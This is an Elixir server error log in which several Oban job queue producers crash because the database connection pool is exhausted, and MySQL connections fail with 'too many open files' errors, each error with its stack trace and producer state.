State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:50:02.243174Z], limit: 3, uuid: "67347cfd-fc11-4cbe-b46a-03e0362315d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.243180Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32251>, refresh_timer: #Reference<0.2525715032.1099431938.34078>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:50:02.241675Z], limit: 50, uuid: "2fca4846-e983-4c02-b664-acc405fc4607", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.241680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32247>, refresh_timer: #Reference<0.2525715032.1121189889.140081>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:50:02.242733Z], limit: 5, uuid: "c6417b68-d69d-4afd-8c17-b751b7d78ecf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.242738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32250>, refresh_timer: #Reference<0.2525715032.1099431938.34070>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:50:02.243328Z], limit: 20, uuid: "bd10035b-db21-4002-aae1-53dcb5c8419b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:02.243334Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32248>, refresh_timer: #Reference<0.2525715032.1099431938.34084>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:18.301000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:19.355000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:20.761000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:21.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:22.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:23.756000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:23.797000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:24.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:24.420000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:25.177000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:50:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:50:15.243576Z], limit: 10, uuid: "681bba2a-d3e9-40d1-a7ae-efde0da9f963", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.243583Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.32537>, refresh_timer: #Reference<0.2525715032.1121189889.140216>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:50:15.243802Z], limit: 3, uuid: "dfac5195-fc42-446c-af71-5f823173f770", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.243807Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5038>, refresh_timer: #Reference<0.2525715032.1121189889.140229>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 878ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:50:15.249298Z], limit: 20, uuid: "7af65612-bdfa-410a-a340-4eed177809af", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.249303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5039>, refresh_timer: #Reference<0.2525715032.1099431938.34244>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:50:15.244740Z], limit: 5, uuid: "4fb03e8f-707d-40e3-a946-ed6fba26a07f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.244746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5037>, refresh_timer: #Reference<0.2525715032.1121189889.140254>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1084ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:50:15.244196Z], limit: 5, uuid: "55834719-54b7-4a9f-92fd-67dd7cbd98f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:50:15.244203Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.5035>, refresh_timer: #Reference<0.2525715032.1077673987.5028>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:50:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 851ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
